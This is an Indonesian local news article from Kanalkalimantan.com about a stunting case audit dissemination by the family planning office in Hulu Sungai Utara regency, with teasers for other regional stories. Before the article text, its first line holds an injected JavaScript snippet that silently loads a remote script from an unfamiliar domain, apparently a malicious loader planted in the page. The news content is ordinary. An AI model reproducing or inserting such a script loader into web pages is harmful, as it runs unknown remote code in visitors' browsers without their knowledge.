(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Dinas Pengendalian Penduduk dan Keluarga Berencana (DPPKB) Kabupaten Hulu Sungai Utara (HSU) terus menggenjot percepatan penurunan stunting, salah satunya melalui diseminasi evaluasi Audit Kasus Stunting (AKS) tahap I di aula DPPKB HSU, Senin (9/12/2024).
Penjabat (Pj) Bupati HSU melalui Asisten 1 bidang Pemerintahan dan Kesra, Khairussalim, menyebut kegiatan diseminasi evaluasi AKS ini sangat penting, yang bertujuan utamanya untuk memberikan informasi sekaligus menggali berbagai faktor risiko yang menyebabkan stunting di Kabupaten HSU sehingga dapat dilakukan intervensi yang tepat untuk meningkatkan status gizi anak-anak dan mencegah peningkatan angka stunting.
Diseminasi audit kasus stunting ini merupakan langkah strategis dalam upaya untuk mengatasi masalah gizi di Kabupaten HSU.
Baca juga: Dapatkan Ratusan Ribu Hadiah di Friday Deals BRImo FSTVL, Ini Caranya!
“Karenanya kita harus siap mendukung setiap langkah yang diambil untuk memastikan bahwa anak- anak kita mendapatkan intervensi yang tepat demi peningkatan kualitas hidup mereka,” katanya.
Lebih lanjut, dikatakannya bahwa audit kasus stunting ini juga merupakan salah satu kegiatan prioritas yang diamanatkan dalam peraturan badan kependudukan dan keluarga berencana nasional nomor 12 tahun 2021 tentang rencana aksi nasional percepatan penurunan angka stunting Indonesia 2024.
Tahapan audit ini mencakup pembentukan tim audit, pelaksanaan audit, manajemen pendampingan keluarga, diseminasi hasil audit, serta evaluasi rencana tindak lanjut.
“Melalui kegiatan ini, kita dapat memperoleh gambaran dan mengidentifikasi dan memahami faktor-faktor risiko yang menyebabkan stunting di wilayah kita. Jadi kita bisa memberikan intervensi yang tepat kedepannya agar status gizi anak-anak di Kabupaten Hulu Sungai Utara meningkat signifikan,” tambahnya.
Dia mengimbau seluruh anggota tim percepatan penurunan stunting untuk memperkuat konvergensi dalam memberikan tindak lanjut bagi balita yang telah diidentifikasi mengalami stunting.
“Langkah ini diharapkan dapat memperbaiki kondisi gizi anak-anak, sehingga mereka tidak lagi menjadi penyumbang angka stunting pada survei status gizi indonesia tahun 2024 yang akan segera dilaksanakan,” tutupnya.
Baca juga: 301 Peserta Ramaikan Balangan Balogo Competition di Awayan
Sementara itu, Kepala DPPKB HSU, Lily Inderiani menyoroti beberapa indikator stunting yang perlu ditangani dengan serius.
“Jangan sampai tidak tercukupi kebutuhan gizi balita, salah satunya ASI,” bebernya.
Disamping memperhatikan faktor kebutuhan gizi bagi balita dan anak, ia juga menekankan perhatian serius pada si ibu sejak mengandung hingga melahirkan, ditambah lingkungan tempat tinggal yang juga perlu diperhatikan.
Kegiatan desiminasi audit stunting tahap I juga turut dihadiri perwakilan BKKBN provinsi Kalimantan Selatan, Dinas Kesehatan Kabupaten HSU, BAZNAS HSU, Kankemenag HSU, para Camat, Kepala Desa Locus percepatan penurunan stunting, Kepala SKPD terkait beserta para kader stunting.(Kanalkalimantan.com/dew)
Reporter: dew
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More
KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More
KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia)… Read More
This website uses cookies.